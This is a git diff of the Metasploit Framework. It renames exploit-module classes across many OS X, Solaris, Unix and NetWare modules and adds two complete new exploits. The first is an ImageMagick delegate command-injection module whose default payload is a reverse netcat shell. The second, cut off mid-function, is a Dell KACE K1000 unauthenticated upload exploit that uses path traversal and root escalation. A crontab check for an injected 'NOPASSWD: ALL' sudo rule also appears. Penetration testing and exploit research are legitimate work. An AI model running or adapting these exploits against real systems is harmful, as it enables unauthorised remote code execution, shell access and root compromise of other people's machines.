a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index b22a3d9646..b34c130d95 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/rfb' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking WINDOWS_KEY = "\xff\xeb" diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb index d391ce8da5..e9528b6b5b 100644 --- a/modules/exploits/multi/vpn/tincd_bof.rb +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'securerandom' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::EXE diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 786a20d57a..35ce7f691f 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -6,7 +6,7 @@ require 'timeout' require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 04c141d2a7..6693f0923b 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index 0ab1da752a..51a3178859 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index f3ec48b721..a79cdfa897 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 45f1f5cd58..175fc3b918 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Arkeia diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb index c7331b84ea..870e5fdfe2 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index e00fd67998..d799eff564 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/service_manager' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::FtpServer @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote # msf/core/exploit/http/server.rb # def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP + # Ensure all dependencies are present before initializing HTTP use_zlib comm = datastore['ListenerComm'] @@ -255,7 +255,7 @@ class Metasploit3 < Msf::Exploit::Remote # set. # def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + if !Rex::Text.zlib_present? && datastore['HTTP::compression'] fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 27f17742a8..0c1d0842ce 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb index 3ba0b94a96..642b354d39 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb index b3f464b21a..8af9d76beb 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index d360a35626..d4db34dba8 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index fe08b1e373..d98f9e22b3 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index c61f1ceb23..651d321fc0 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb index 2e4a586b97..26e58fd9ce 100644 --- a/modules/exploits/osx/http/evocam_webserver.rb +++ b/modules/exploits/osx/http/evocam_webserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb index 28008e88b5..1061094e07 100644 --- a/modules/exploits/osx/local/dyld_print_to_file_root.rb +++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb index e0b2c5f914..6c3a95d1b3 100644 --- a/modules/exploits/osx/local/iokit_keyboard_root.rb +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking # Can cause kernel crash include Msf::Post::File diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index c4683889ab..42b4c462cc 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 260632a90d..33de13001d 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' require 'shellwords' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb index f22d6cb6a2..b438b4513c 100644 --- a/modules/exploits/osx/local/rootpipe.rb +++ b/modules/exploits/osx/local/rootpipe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 0a031f7a11..32ec381c51 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index 97f9ae28dc..07ed515ebb 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -123,7 +123,7 @@ class Metasploit4 < Msf::Exploit::Local vprint_status("Now to check whether the script worked...") # Check whether it worked - crontab = cmd_exec("cat /etc/crontab") + crontab = read_file("/etc/crontab") vprint_status("Reading crontab yielded the following response: #{crontab}") unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL" vprint_error("Bad news... it did not write to the file.") diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index c77d4a4a2a..d4969cd478 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 019a6bb019..dddb7b82a0 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index fe54af173c..018af4fcbe 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' require 'shellwords' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local # ManualRanking because it's going to modify system time # Even when it will try to restore things, user should use diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb index bfd0864d61..fddd890501 100644 --- a/modules/exploits/osx/local/tpwn.rb +++ b/modules/exploits/osx/local/tpwn.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb index ff20c7fe02..25410875e1 100644 --- a/modules/exploits/osx/local/vmware_bash_function_root.rb +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index 3d32b05a7c..99667e4a44 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb index 82404e2244..35011f1d02 100644 --- a/modules/exploits/osx/misc/ufo_ai.rb +++ b/modules/exploits/osx/misc/ufo_ai.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb index e9e228911d..3dfedafd3d 100644 --- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 3eca9265e6..03bc2152dd 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index bcd15fbb39..7e0e123d0a 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb index ecf0331613..f65d028141 100644 --- a/modules/exploits/solaris/dtspcd/heap_noir.rb +++ b/modules/exploits/solaris/dtspcd/heap_noir.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb index f71bdad36d..d7739db4ca 100644 --- a/modules/exploits/solaris/lpd/sendmail_exec.rb +++ b/modules/exploits/solaris/lpd/sendmail_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 4445b77033..09b25d9077 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index 926c665dce..3623fcbd90 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 0a6caf1ee7..9ebc7d42e6 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 5326f8d851..3557828c07 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb index 184c225c90..5053c21189 100644 --- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb +++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb index bafae78d1e..5fde51c927 100644 --- a/modules/exploits/solaris/telnet/fuser.rb +++ b/modules/exploits/solaris/telnet/fuser.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb index 36c43eb15d..6672291ed6 100644 --- a/modules/exploits/solaris/telnet/ttyprompt.rb +++ b/modules/exploits/solaris/telnet/ttyprompt.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb index e3e6f56fad..ee3447c380 100644 --- a/modules/exploits/unix/dhcp/bash_environment.rb +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/dhcp' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DHCPServer diff --git a/modules/exploits/unix/fileformat/imagemagick_delegate.rb b/modules/exploits/unix/fileformat/imagemagick_delegate.rb new file mode 100644 index 0000000000..d310f4cbc8 --- /dev/null +++ b/modules/exploits/unix/fileformat/imagemagick_delegate.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit + + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ImageMagick Delegate Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a shell command injection in the way "delegates" + (commands for converting files) are processed in ImageMagick versions + <= 7.0.1-0 and <= 6.9.3-9 (legacy). + + Since ImageMagick uses file magic to detect file format, you can create + a .png (for example) which is actually a crafted SVG (for example) that + triggers the command injection. + + The PostScript (PS) target leverages a Ghostscript -dSAFER bypass + (discovered by taviso) to achieve RCE in the Ghostscript delegate. + Ghostscript versions 9.18 and later are affected. + + If USE_POPEN is set to true, a |-prefixed command will be used for the + exploit. No delegates are involved in this exploitation. + }, + 'Author' => [ + 'stewie', # Vulnerability discovery + 'Nikolay Ermishkin', # Vulnerability discovery + 'wvu', # Metasploit module + 'hdm' # Metasploit module + ], + 'References' => [ + %w{CVE 2016-3714}, + %w{CVE 2016-7976}, + %w{URL https://imagetragick.com/}, + %w{URL http://seclists.org/oss-sec/2016/q2/205}, + %w{URL http://seclists.org/oss-sec/2016/q3/682}, + %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab}, + %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}, + %w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669} + ], + 'DisclosureDate' => 'May 3 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => { + 'BadChars' => "\x22\x27\x5c", # ", ', and \ + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic netcat bash-tcp' + } + }, + 'Targets' => [ + ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg + ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg + ['PS file', template: 'msf.ps'] # PoC from taviso + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_netcat', + 'LHOST' => Rex::Socket.source_address, + 'DisablePayloadHandler' => false, + 'WfsDelay' => 9001 + } + )) + + register_options([ + OptString.new('FILENAME', [true, 'Output file', 'msf.png']), + OptBool.new('USE_POPEN', [false, 'Use popen() vector', true]) + ]) + end + + def exploit + if target.name == 'SVG file' + p = Rex::Text.html_encode(payload.encoded) + else + p = payload.encoded + end + + file_create(template.sub('echo vulnerable > /dev/tty', p)) + end + + def template + if datastore['USE_POPEN'] + t = 'popen' + else + t = 'delegate' + end + + begin + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'imagemagick', t, + target[:template] + )) + rescue Errno::ENOENT + fail_with(Failure::BadConfig, "Target has no #{t} support") + end + end + +end diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 71a4fd8416..588bab550e 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index 0e39c322d6..8fabe4bf78 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index ce6388be3e..49de9d25e1 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb index b5a5b70f1f..91eccda718 100644 --- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb +++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index ff6c6bb7a9..746a77a401 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb new file mode 100644 index 0000000000..b5780c1118 --- /dev/null +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dell KACE K1000 File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in Kace K1000 + versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 + which allows unauthenticated users to execute arbitrary commands + under the context of the 'www' user. + + This module also abuses the 'KSudoClient::RunCommandWait' function + to gain root privileges. + + This module has been tested successfully with Dell KACE K1000 + version 5.3. + }, + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'unix', # FreeBSD + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'Bradley Austin (steponequit)', # Initial discovery and exploit + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] + ], + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x27", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl' + } + }, + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'DisclosureDate' => 'Mar 7 2014')) + end + + def check + res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) + unless res + vprint_error('Connection failed') + return Exploit::CheckCode::Unknown + end + if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' + if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/ + vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") + if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Detected + end + Exploit::CheckCode::Safe + end + + def exploit + # upload payload + fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" + payload_path = "/kbox/kboxwww/tmp/" + post_data = "" + print_status("Uploading #{fname} (#{post_data.length} bytes)") + res = send_request_cgi( + 'uri' => normalize_uri('service', 'kbot_upload.php'), + 'method' => 'POST', + 'vars_get' => Hash[{ + 'filename' => fname, + 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", + 'checksum' => 'SCRAMBLE', + 'mac' => rand_text_alphanumeric(rand(8) + 5), + 'kbotId' => rand_text_alphanumeric(rand(8) + 5), + 'version' => rand_text_alphanumeric(rand(8) + 5), + 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], + 'data' => post_data) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + print_good('Payload uploaded successfully') + else + fail_with(Failure::UnexpectedReply, 'Unable to upload payload') + end + + # execute payload + res = send_request_cgi('uri' => normalize_uri('tmp', fname)) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + 